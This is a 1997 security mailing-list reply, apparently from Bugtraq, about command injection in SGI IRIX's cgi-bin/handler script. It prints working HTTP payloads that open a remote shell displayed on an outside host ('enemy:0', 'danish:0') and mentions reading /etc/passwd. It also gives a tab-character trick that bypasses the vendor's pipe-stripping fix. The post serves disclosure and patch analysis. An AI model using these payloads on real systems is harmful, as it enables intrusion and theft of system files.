Re: CPSR 7: IRIX WWW Server

[lamontg () hitl washington edu (Lamont Granquist)]

On Thu, 24 Jul 1997, Thomas Walter wrote:
> Trying 1.2.3.4...
> Connected to victim.
> Escape character is '^]'.
> GET /cgi-bin/handler/;/usr/sbin/xwsh  -display  enemy:0  -e
> /bin/csh|?data=Download
> UX:sh (sh): ERROR: Connection closed by foreign host.
> enemy%

s/xwsh/xterm/ and this works the same.

to reiterate Razvan's follow-up to the original posting on the
cgi-bin/handler issue, in Irix 6.3 (O2s) they attempted to fix this with
the line:

    # trim off trailing pipes
    $doc =~ s/\|*$// ;

which can be fooled by appending a <tab> char after the pipe, thus:

GET /cgi-bin/handler/<tab>;xterm<tab>-display<tab>danish:0<tab>-e<tab>
/bin/sh|<tab>?data=Download
       ^^^^^^
(one line, emphasis under the necessary change)

which can be applied to the xwsh, or cat /etc/passwd attacks or whatever.

this is not matched by the pattern s/\|*$//, but the appended tab does
not change the behavior of perl's open(yadda, "yadda|") statement since
whitespace following the '|' is ignored.

Yuri's post to Bugtraq of Fri, 16 May 1997 #2551 at
http://www.netspace.org/lsv-archive/bugtraq.html is a good read for more
info on why SGIs /var/www/cgi-bin directory should be nuked with extreme
prejudice...


--
Lamont Granquist <lamontg () hitl washington edu> (206)616-1469 fax:(206)543-5380
Human Interface Technology Lab.  University of Washington.  Seattle, WA
PGP pubkey: finger lamontg () near hitl washington edu